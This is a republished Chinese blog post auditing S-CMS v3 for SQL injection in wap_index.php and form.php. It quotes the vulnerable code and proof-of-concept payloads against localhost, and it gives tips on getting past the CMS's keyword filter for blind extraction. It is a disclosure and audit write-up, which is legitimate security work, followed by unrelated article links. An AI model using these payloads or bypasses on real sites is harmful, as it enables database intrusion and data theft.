S-CMS企业建站v3几处SQL注入

news/2024/5/20 3:09:32/文章来源:https://blog.csdn.net/weixin_34310127/article/details/86135665

0x01 前言

有段时间没有发文章了,主要没挖到比较有意思的漏洞点。然后看最近爆了很多关于S-CMS的漏洞,下载了源码简单挖了一下然后给大家分享一下。

0x02 目录

Wap_index.php sql注入
Form.php Sql注入
Input、query

0x03 插曲

这里分享一下在审计的时候自用的一段代码。

  1. $debug=function(){
  2. $logFile='C:\\Users\\DELL\\Desktop\\debug.txt';     //输出的文件
  3. $param=func_get_args();                     //获取传入函数的参数
  4. if (count($param)>0){                           
  5. $str=serialize($param);                     //序列号
  6. if($str){                                   //存在就写入
  7. $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\t\t".$str;
  8. file_put_contents($logFile,"\t\t".$str);
  9. }else{                                  //不存在写入Null
  10. $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\r\n".$str;
  11. file_put_contents($logFile,"\t\tNull");
  12. }
  13. }
  14. };$debug($x,$a,$b);     //这里$x,$a,$b都是要查看的变量。

主要用这个的话个人感觉比较方便,平常测试都是var_dump();die;来查看。然后当die后,页面还是没有打印内容,用这个函数还是相对比较方便的。当然用phpstorm下断点挺好的,不过个人不太喜欢。主要还是我懒。

0x04 Wap_index.php sql注入

漏洞文件:\scms\wap_index.php
这个文件的话不止这一处Sql注入,这里只写这一个。
漏洞行号:90-96

  1. case "text":
  2. $debug("select * from SL_text where T_id=" . $S_id, "T_title");
  3. if (getrs("select * from SL_text where T_id=" . $S_id, "T_title") == "") {
  4. box("菜单指向的简介已被删除,请到“菜单管理”重新编辑", "back", "error");
  5. } else {
  6. $page_info = ReplaceLableFlag(ReplaceWapTag(CreateHTMLReplace(CreateText(ReplaceWapPart(LoadWapTemplate($style, $S_id)) , $S_id))));
  7. }
  8. break;

S_id直接从GET获取无单引号拼接进了sql语句

  1. if(isset($_GET["S_id"])){
  2. $S_id = $_GET["S_id"];
  3. }else{
  4. $S_id = "0";
  5. }

这套CMS核心全带全都加密处理了所以我们看不到他的过滤方法,不过当出现 union select 等的时候都直接退出了,没有继续往下执行。研究发现当传入select(user())能正常执行,不过尝试union(select(1)) 的时候也没有执行,应该是直接正则匹配的union这个单词,而select匹配了前后的空格。

漏洞演示:

$debug保存下来的信息。

D:\phpStudy\PHPTutorial\WWW\scms\wap_index.php:     a:2:{i:0;s:58:"select * from SL_text where T_id=1 and (select(user())!=1)";i:1;s:7:"T_title";}

Mysql.log

正常执行了sql语句。
S_id=1 and (select(user()) from sl_reply 同样可以正常执行,可通过盲注爆数据。

0x05 Form.php Sql注入

漏洞文件:\scms\form.php
漏洞Action:input

  1. if($action=="input"){
  2. if ($_POST["code"]!=$_SESSION["CmsCode"]){
  3. echo "<div style='height:500px'></div>";
  4. box(lang("验证码错误!/l/Verification code error"),"back","error");
  5. }else{
  6. $R_time=date('Y-m-d H:i:s');
  7. $R_rid=gen_key(15);
  8. foreach ($_POST as $x=>$value) {
  9. if ($x>0){
  10. if ($_POST[$x]==""){
  11. box(lang("请填全内容后提交!/l/Please fill in the full content to submit!"),"back","error");
  12. die();
  13. }else{
  14. if (!IsValidStr($_POST[$x])){
  15. box(lang("您输入的内容有敏感字符,请重新输入!/l/The contents you have entered are sensitive characters, please re-enter!"),"back","error");
  16. }else{
  17. $debug("Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")");
  18. mysqli_query($conn,"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")");
  19. }
  20. }
  21. }
  22. }
  23. if ($F_cq>0){
  24. mysqli_query($conn,"Insert into SL_query(Q_code,Q_content,Q_sort) values('".$R_rid."','".date('Y-m-d H:i:s')."__用户提交表单,等待处理"."',".$F_cq.")");
  25. box(lang("提交成功,查询码 ".$R_rid."/l/success!code ".$R_rid.""),$C_dir.$url_to,"success");
  26. }else{
  27. box(lang("提交成功!/l/success!code ".$R_rid.""),$C_dir.$url_to,"success");
  28. }
  29. sendmail("您的网站有新的表单提交","<h2>您的网站“".lang($C_webtitle)."”有新的表单提交</h2><hr>请进入“网站后台” - “表单系统” - “查看统计”查看详情!",$C_email);
  30. }
  31. }

这里简单看些逻辑,先判断code验证码是否错误,如果为False不错误,进入foreach循环,判断$x(也就是 $_POST的key)>0这里就可以通过php弱类型比如1a>0 为True 这个不多介绍了,然后如果$_POST[$x] 不为空,继续检测$_POST[$x] 是否存在敏感字符,然后拼接sql语句。
整个流程就这样了,漏洞触发点就是$x,它检测敏感字符只检测了$_POST[$x]内容,而没检测$x,而且直接拼接入了sql语句导致SQL注入。

漏洞演示:

http://127.0.0.1/scms/form.php?action=input&S_id=0
code=ywu7&1//and//(1//like//1)=121

$debug记录

D:\phpStudy\PHPTutorial\WWW\scms\form.php:      a:1:{i:0;s:147:"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(1//and//(1//like//1),'121','2018-12-05 15:27:00','WjWEpX8YIK6cfeq',6)";}


漏洞文件:\scms\form.php
漏洞Action:query

  1. if ($action=="query"){
  2. $Q_sort=$_POST["Q_sort"];
  3. $Q_code=$_POST["Q_code"];
  4. if ($_POST["code"]!=$_SESSION["CmsCode"]){
  5. echo "<div style='height:500px'></div>";
  6. box(lang("验证码错误!/l/Verification code error"),"back","error");
  7. }else{
  8. $sql="select * from SL_query where Q_sort=".$Q_sort." and Q_code like '".$Q_code."'";
  9. $result = mysqli_query($conn, $sql);
  10. $row = mysqli_fetch_assoc($result);

这个相对简单不多说,$Q_sort从post获取,无过滤直接拼接进sql语句导致sql注入。

Payload:
http://127.0.0.1/scms/form.php?action=query&S_id=0
code=t5o9&Q_sort=1 and 1=1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_838560.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

10年生日教大家轻松做一个网站

图片多~暂没时间传过来&#xff0c;如果QQ空间的图片防盗链&#xff0c;请看原文章地址&#xff1a;http://user.qzone.qq.com/296827066/blog/1266877782 去年的生日是教大家煎鸡蛋&#xff08;http://user.qzone.qq.com/296827066/blog/1233724431&#xff09;&#xff0c;今…

05.net网站开发(设计):2.MVC控制器与视图的简单收发数据

上一节大概了解了MVC的运作方式。这一届发一个简单样例&#xff0c;在网页界面中的文本框输入一个值&#xff0c;在后台控制器中进行接收&#xff0c;然后跳转到另一个页面。一&#xff1a;要发送数据的视图在HomeController中新建一个视图public ActionResult MyView(){return…

06.net网站开发(设计):3.MVC注册强类型

什么是MVV注册强类型呢&#xff1f;其实一开始我也是混乱得不行。这个Model模型比我们写三层创建的Model强大得多&#xff0c;一旦创建之后&#xff0c;系统便可以快速生成常用的视图&#xff0c;包括“列表”、“增删查改”功能这些功能随意选择。配合使用"数据库模型&qu…

08.net网站开发(前端):5.jQuery

开发网站肯定要会JS&#xff0c;嫌代码太难看难学那至少要学会jQuery。当然我见过有些项目纯用服务端控件也是能做出来的&#xff0c;但我相信&#xff0c;那些碰到复杂的需求的话肯定很棘手的。jQuery是对JS和DOM的封装&#xff0c;少量代码直接解决大多兼容性问题。jQuery我是…

09.net网站开发(前端):6.类淘宝组合搜索效果jQuery+Ajax

上一节讲到jQuery&#xff0c;本来还不能这么快就发jQueryAjax的&#xff0c;因为这部分对于新手来说&#xff0c;不是很好理解&#xff0c;但为了配合发我的实习经验&#xff0c;就先贴出来了。新手先有个概念就好&#xff0c;Ajax是为了前端能和后台交互的&#xff0c;它们的…

11.net网站开发(交互):2.MVC 购物车

这一节完了之后&#xff0c;差不多就停止基础知识的更新了。接下来可能要做一个实例项目&#xff0c;用MVC或者传统.NET WEB 还不是很清楚&#xff0c;要做什么项目也还在考虑&#xff0c;反正肯定开源附加完整文档。但我需要它是以完成某种任务的形式&#xff0c;不然真没那么…

30个酷毙的交互式网站(HTML5+CSS3)

很久前就像找些文章来翻译&#xff0c;and这是第一篇&#xff0c;刚开始翻译着很有兴致&#xff0c;但中间就开始累了&#xff0c;感觉好多好多&#xff0c;因为不仅要翻译&#xff0c;还要看网站&#xff0c;还要排版&#xff0c;花了两天空闲时间还是硬着头皮翻译下来了&…

17项目简介与草稿设计(网站开发)

做网站需要的基础技能已经交待得差不多了&#xff0c;接下来就是给出一个项目案例了。想做一个开源的论坛源码&#xff0c;有兴趣的朋友可以一起参与哈&#xff0c;QQ 696619。 本项目简介&#xff1a; 《内部论坛》&#xff0c;为移动设备所开发的论坛&#xff0c;发展重点为…

19网站实现QQ登录功能

一般网站要先做个用户注册的功能页面&#xff0c;但我的网站名气不大&#xff0c;不需要要求用户注册&#xff0c;所以直接使用腾讯QQ登录的API接口。 如何使用JS_SDK让网站拥有QQ登录的功能&#xff0c;官网的这篇文章写得还算完整&#xff1a;http://connect.qq.com/intro/lo…

20快速开发网站项目的工具和方法

本来已经进入“正式开发”的教程部分了&#xff0c;但这次还是要先插入一些“旁门左道”&#xff0c;因为很多时候&#xff0c;我们仅仅只是要演示一个产品概念或者完成一次老师布置的课程设计&#xff0c;那就没必要仔仔细细地敲打每一行代码。像我这学期选修了“高级网页”课…

基于SSH的在线美食点评网站-java在线美食点评网

基于SSH的在线美食点评网站-java在线美食点评网 开发环境&#xff1a;Eclipse for J2EE,MYSQL5.1,JDK1.7,Tomcat 7首页主要展示一些当地美食。(1)用户注册&#xff1a;用户填写注册账号、密码。 (2)用户登录&#xff1a;用户注册成功后&#xff0c;使用注册账号、密码登录。成功…

关于各网站回到顶部的细节功能

对比一下吧&#xff0c;不说话了&#xff0c;很多人学到的皮毛和精髓是完全两码事。先看淘宝&#xff1a;http://item.taobao.com/item.htm?id9134206497&ali_refida3_619362_1007:1102299863:7:46702465U84y78608587678s868v3I:090efd2e7e3bc5c1f468dbe7eeb252b1&ali…

怎么看服务器linux版本,linux怎么查看版本命令_网站服务器运行维护,linux

如何解决docker内部访问不了宿主_网站服务器运行维护docker内部访问不了宿主的解决方法&#xff1a;首先配置防火墙规则并重载规则&#xff1b;然后启动容器时使用“--net host”模式&#xff1b;最后关闭防火墙即可。linux查看版本命令的方法是&#xff1a;1、# uname &#x…

网站服务器上安装的操作系统,服务器上安装的操作系统

服务器上安装的操作系统 内容精选换一换本节操作以Windows Server 2012 R2 标准版操作系统的弹性云服务器为例&#xff0c;介绍安装IIS服务的操作步骤。本节操作仅是安装IIS服务的操作步骤&#xff0c;后续搭建具体应用的操作步骤请根据业务实际情况进行配置。打开服务器管理器…

程序员实用工具网站

目录 1、搜索引擎 2、PPT 3、图片操作 4、文件共享 5、应届生招聘 6、程序员面试题库 7、办公、开发软件 8、高清图片、视频素材网站 9、项目开源 10、在线工具宝典大全 程序员开发需要具备良好的信息检索能力&#xff0c;为了备忘&#xff08;收藏夹真是满了&#…

如何在oracle网站下载jdk

第一步&#xff1a;https://www.oracle.com/index.html 网址 第二部&#xff1a;最下面 找到 Downloads and Trials 下面的 Java for Developers 点击进入 第三部&#xff1a;找到下面界面 选择你需要的版本&#xff08;以java se 为例&#xff09; 之后点击 jdk downl…

使用SourceTree从GitHub网站上拉取代码

使用SourceTree从GitHub网站上拉取代码 1.进入GitHub官网&#xff0c;选择一个项目&#xff0c;复制克隆地址&#xff1b; 2.打开SourceTree&#xff0c;点击Clone&#xff0c;将刚才在GitHub上的复制的URL粘贴在源路径里&#xff0c;它会自动识别仓库类型&#xff0c;选择克隆…

常用数据结构演示网站

https://www.cs.usfca.edu/~galles/visualization/Algorithms.html

Vue+H5调起支付宝---form表单(手机网站支付)

最近做了支付功能&#xff0c;记录一下手机网站唤起支付宝&#xff0c;根据后端接口返回一个form表单字符串&#xff0c;H5将form表单渲染到页面上&#xff0c;通过提交form表单调起支付宝支付。 后端接口返回的form表单大致这样&#xff1a; 前端处理如下&#xff0c;代码贴上…